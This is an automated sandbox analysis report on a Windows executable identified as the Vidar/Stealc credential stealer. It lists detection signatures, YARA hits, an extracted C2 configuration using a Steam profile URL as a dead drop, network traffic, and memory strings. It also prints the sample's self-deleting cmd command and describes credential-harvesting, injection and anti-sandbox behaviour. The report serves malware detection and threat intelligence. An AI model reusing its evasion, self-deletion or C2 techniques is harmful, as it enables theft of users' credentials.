Edit tour

Windows Analysis Report
njrtdhadawt.exe

Overview

General Information

Sample name:	njrtdhadawt.exe
Analysis ID:	1575809
MD5:	96e4917ea5d59eca7dd21ad7e7a03d07
SHA1:	28c721effb773fdd5cb2146457c10b081a9a4047
SHA256:	cab6c398667a4645b9ac20c9748f194554a76706047f124297a76296e3e7a957
Tags:	exeVidaruser-lontze7
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Yara detected AntiVM3

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Machine Learning detection for sample

PE file has a writeable .text section

Searches for specific processes (likely to inject)

Self deletion via cmd or bat file

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal ftp login credentials

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to detect sandboxes (mouse cursor move detection)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses the keyboard layout for branch decision (may execute only for specific keyboard layouts)

Classification

Process Tree

System is w10x64

njrtdhadawt.exe (PID: 6420 cmdline: "C:\Users\user\Desktop\njrtdhadawt.exe" MD5: 96E4917EA5D59ECA7DD21AD7E7A03D07)

cmd.exe (PID: 7680 cmdline: "C:\Windows\system32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Users\user\Desktop\njrtdhadawt.exe" & rd /s /q "C:\ProgramData\AAKJKJDGCGDB" & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7688 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 7724 cmdline: timeout /t 10 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: Vidar

{"C2 url": "https://steamcommunity.com/profiles/76561199794498376", "Botnet": "idr7ff"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author
njrtdhadawt.exe	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
njrtdhadawt.exe	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
njrtdhadawt.exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000000.1254479624.000000000100F000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000000.1254479624.000000000100F000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000000.00000000.1254479624.000000000100F000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: njrtdhadawt.exe PID: 6420	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: njrtdhadawt.exe PID: 6420	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: njrtdhadawt.exe PID: 6420	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: njrtdhadawt.exe PID: 6420	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 5 entries

Unpacked PEs

Source	Rule	Description	Author
0.2.njrtdhadawt.exe.fe0000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.njrtdhadawt.exe.fe0000.0.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
0.2.njrtdhadawt.exe.fe0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.0.njrtdhadawt.exe.fe0000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.0.njrtdhadawt.exe.fe0000.0.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
0.0.njrtdhadawt.exe.fe0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 1 entries

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: njrtdhadawt.exe

Malware Configuration Extractor: Vidar {"C2 url": "https://steamcommunity.com/profiles/76561199794498376", "Botnet": "idr7ff"}

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\chrome.dll

ReversingLabs: Detection: 75%

Multi AV Scanner detection for submitted file

Source: njrtdhadawt.exe

ReversingLabs: Detection: 71%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: njrtdhadawt.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_00FF2080 CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	0_2_00FF2080
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_00FEA911 _memset,lstrlenA,CryptStringToBinaryA,_memmove,lstrcatA,lstrcatA,	0_2_00FEA911
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_00FE86EF CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00FE86EF
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_00FE8696 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00FE8696
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_6CD2B040 BCryptGenRandom,SystemFunction036,	0_2_6CD2B040

Source: njrtdhadawt.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.7:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.7:49741 version: TLS 1.2

Source:	Binary string: my_library.pdbU source: njrtdhadawt.exe, chrome.dll.0.dr
Source:	Binary string: my_library.pdb source: njrtdhadawt.exe, chrome.dll.0.dr

Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_00FEC087 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00FEC087
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_00FF61AE wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00FF61AE
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_00FEBA79 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00FEBA79
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_00FF5CE8 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	0_2_00FF5CE8
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_00FE9DAF FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,_memset,lstrcatA,lstrcatA,lstrcatA,_memset,lstrcatA,lstrcatA,lstrcatA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00FE9DAF
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_00FE1D70 FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00FE1D70
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_00FECEEB wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00FECEEB
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_00FF4EA5 wsprintfA,FindFirstFileA,_memset,_memset,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,_memset,lstrcatA,strtok_s,strtok_s,_memset,lstrcatA,strtok_s,PathMatchSpecA,DeleteFileA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,strtok_s,strtok_s,FindNextFileA,FindClose,	0_2_00FF4EA5
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_00FF561A wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	0_2_00FF561A
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_00FED77A FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00FED77A
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_00FEB719 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00FEB719
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_6CD6717D FindFirstFileExW,	0_2_6CD6717D

Source: C:\Users\user\Desktop\njrtdhadawt.exe

Code function: 0_2_00FF531F GetLogicalDriveStringsA,_memset,GetDriveTypeA,lstrcpyA,lstrcpyA,lstrcpyA,lstrlenA,

0_2_00FF531F

Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 4x nop then mov eax, dword ptr fs:[00000030h]		0_2_00FE149D
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 4x nop then mov dword ptr [ebp-04h], eax		0_2_00FE149D

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://steamcommunity.com/profiles/76561199794498376

Source: global traffic	HTTP traffic detected: GET /asg7rd HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /profiles/76561199794498376 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 104.102.49.254 104.102.49.254
Source: Joe Sandbox View	IP Address: 149.154.167.99 149.154.167.99
Source: Joe Sandbox View	IP Address: 149.154.167.99 149.154.167.99

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\njrtdhadawt.exe

Code function: 0_2_00FE6955 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,InternetSetOptionA,HttpSendRequestA,HttpQueryInfoA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_00FE6955

Source: global traffic	HTTP traffic detected: GET /asg7rd HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /profiles/76561199794498376 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache

Source: njrtdhadawt.exe, 00000000.00000002.1551342830.0000000003998000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: .cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: njrtdhadawt.exe, 00000000.00000002.1551342830.0000000003998000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: NT AUTHORITY\SYSTEMWdtPWdtPWdtP.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: t.me
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com

Source: njrtdhadawt.exe, 00000000.00000002.1551342830.0000000003998000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039DB000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039DB000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039DB000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039DB000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000003.1539350071.0000000003A07000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: 76561199794498376[1].htm.0.dr	String found in binary or memory: https://avatars.cloudflare.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: njrtdhadawt.exe, 00000000.00000002.1551342830.0000000003998000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039DB000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039DB000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/
Source: njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: https://community.cloudflare.steamstat
Source: njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/
Source: njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000003.1539350071.0000000003A07000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/applications/community/main.css?v=LjouqOsWbS
Source: njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/globalv2.css?v=i_iuPUaT8LXN&l=english&am
Source: njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/promo/summer2017/stickers.css?v=INiZALwvDIbb
Source: njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/header.css?v=EZbG2DEumYDH&l=engli
Source: njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l
Source: njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/profilev2.css?v=l1VAyDrxeeyo&l=en
Source: njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000003.1539350071.0000000003A07000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000003.1539350071.0000000003A07000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000003.1539350071.0000000003A07000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/libraries~b28b
Source: njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000003.1539350071.0000000003A07000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/main.js?v=Cx79
Source: njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000003.1539350071.0000000003A07000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/manifest.js?v=
Source: njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/global.js?v=3W_ge11SZngF&l=englis
Source: njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=gQHVlrK4-jX-&a
Source: njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/modalContent.js?v=XfYrwi9zUC4b&l=
